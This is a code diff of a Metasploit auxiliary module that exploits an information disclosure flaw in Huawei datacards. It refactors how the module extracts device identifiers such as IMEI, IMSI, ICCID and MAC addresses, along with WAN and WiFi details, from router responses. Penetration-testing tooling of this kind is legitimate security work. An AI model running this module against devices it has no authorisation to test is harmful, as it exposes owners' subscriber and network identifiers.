@@ -11,6 +11,21 @@ class Metasploit3 < Msf::Auxiliary
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Auxiliary ::Report
13
13
14
+ BASIC_INFO = {
15
+ 'Device Name' => /<DeviceName>(.*)<\/ DeviceName>/i ,
16
+ 'Serial Number' => /<SerialNumber>(.*)<\/ SerialNumber>/i ,
17
+ 'IMEI' => /<Imei>(.*)<\/ Imei>/i ,
18
+ 'IMSI' => /<Imsi>(.*)<\/ Imsi>/i ,
19
+ 'ICCID' => /<Iccid>(.*)<\/ Iccid>/i ,
20
+ 'Hardware Version' => /<HardwareVersion>(.*)<\/ HardwareVersion>/i ,
21
+ 'Software Version' => /<SoftwareVersion>(.*)<\/ SoftwareVersion>/i ,
22
+ 'WebUI Version' => /<WebUIVersion>(.*)<\/ WebUIVersion>/i ,
23
+ 'Mac Address1' => /<MacAddress1>(.*)<\/ MacAddress1>/i ,
24
+ 'Mac Address2' => /<MacAddress2>(.*)<\/ MacAddress2>/i ,
25
+ 'Product Family' => /<ProductFamily>(.*)<\/ ProductFamily>/i ,
26
+ 'Classification' => /<Classify>(.*)<\/ Classify>/i
27
+ }
28
+
14
29
def initialize ( info = { } )
15
30
super ( update_info ( info ,
16
31
'Name' => "Huawei Datacard Information Disclosure Vulnerability" ,
@@ -45,15 +60,15 @@ def initialize(info={})
45
60
#Gather basic router information
46
61
def run
47
62
get_router_info
48
- print_status ( '' )
63
+ print_line ( '' )
49
64
get_router_mac_filter_info
50
- print_status ( '' )
65
+ print_line ( '' )
51
66
get_router_wan_info
52
- print_status ( '' )
67
+ print_line ( '' )
53
68
get_router_dhcp_info
54
- print_status ( '' )
69
+ print_line ( '' )
55
70
get_wifi_info
56
- print_status ( '' )
71
+ print_line ( '' )
57
72
end
58
73
59
74
def get_wifi_info
@@ -159,78 +174,15 @@ def get_router_info
159
174
return
160
175
end
161
176
162
- print_status ( "---===[ Basic Information ]===---" )
163
-
164
- # Grabbing the DeviceName
165
- if res . body . match ( /<DeviceName>(.*)<\/ DeviceName>/i )
166
- deviceName = $1
167
- print_status ( "Device Name: #{ deviceName } " )
168
- end
169
-
170
- # Grabbing the SerialNumber
171
- if res . body . match ( /<SerialNumber>(.*)<\/ SerialNumber>/i )
172
- serialnumber = $1
173
- print_status ( "Serial Number: #{ serialnumber } " )
174
- end
175
-
176
- # Grabbing the IMEI
177
- if res . body . match ( /<Imei>(.*)<\/ Imei>/i )
178
- imei = $1
179
- print_status ( "IMEI: #{ imei } " )
180
- end
181
-
182
- # Grabbing the IMSI
183
- if res . body . match ( /<Imsi>(.*)<\/ Imsi>/i )
184
- imsi = $1
185
- print_status ( "IMSI: #{ imsi } " )
186
- end
187
-
188
- # Grabbing the ICCID
189
- if res . body . match ( /<Iccid>(.*)<\/ Iccid>/i )
190
- iccid = $1
191
- print_status ( "ICCID: #{ imsi } " )
192
- end
193
-
194
- # Grabbing the HardwareVersion
195
- if res . body . match ( /<HardwareVersion>(.*)<\/ HardwareVersion>/i )
196
- hardwareversion = $1
197
- print_status ( "Hardware Version: #{ hardwareversion } " )
198
- end
199
-
200
- # Grabbing the SoftwareVersion
201
- if res . body . match ( /<SoftwareVersion>(.*)<\/ SoftwareVersion>/i )
202
- softwareversion = $1
203
- print_status ( "Software Version: #{ softwareversion } " )
204
- end
205
-
206
- # Grabbing the WebUIVersion
207
- if res . body . match ( /<WebUIVersion>(.*)<\/ WebUIVersion>/i )
208
- webuiversion = $1
209
- print_status ( "WebUI Version: #{ webuiversion } " )
210
- end
211
-
212
- # Grabbing the MacAddress1
213
- if res . body . match ( /<MacAddress1>(.*)<\/ MacAddress1>/i )
214
- macaddress1 = $1
215
- print_status ( "Mac Address1: #{ macaddress1 } " )
216
- end
217
-
218
- # Grabbing the MacAddress2
219
- if res . body . match ( /<MacAddress2>(.*)<\/ MacAddress2>/i )
220
- macaddress2 = $1
221
- print_status ( "Mac Address2: #{ macaddress2 } " )
222
- end
177
+ resp_body = res . body . to_s
223
178
224
- # Grabbing the ProductFamily
225
- if res . body . match ( /<ProductFamily>(.*)<\/ ProductFamily>/i )
226
- productfamily = $1
227
- print_status ( "Product Family: #{ productfamily } " )
228
- end
179
+ print_status ( "Basic Information" )
229
180
230
- # Grabbing the Classification
231
- if res . body . match ( /<Classify>(.*)<\/ Classify>/i )
232
- classification = $1
233
- print_status ( "Classification: #{ classification } " )
181
+ BASIC_INFO . each do |k , v |
182
+ if res . body . match ( v )
183
+ info = $1
184
+ print_status ( "#{ k } : #{ info } " )
185
+ end
234
186
end
235
187
end
236
188
@@ -307,7 +259,7 @@ def get_router_wan_info
307
259
return
308
260
end
309
261
310
- print_status ( '---===[ WAN Details ]===--- ' )
262
+ print_status ( 'WAN Details' )
311
263
312
264
# Grabbing the WanIPAddress
313
265
if res . body . match ( /<WanIPAddress>(.*)<\/ WanIPAddress>/i )
0 commit comments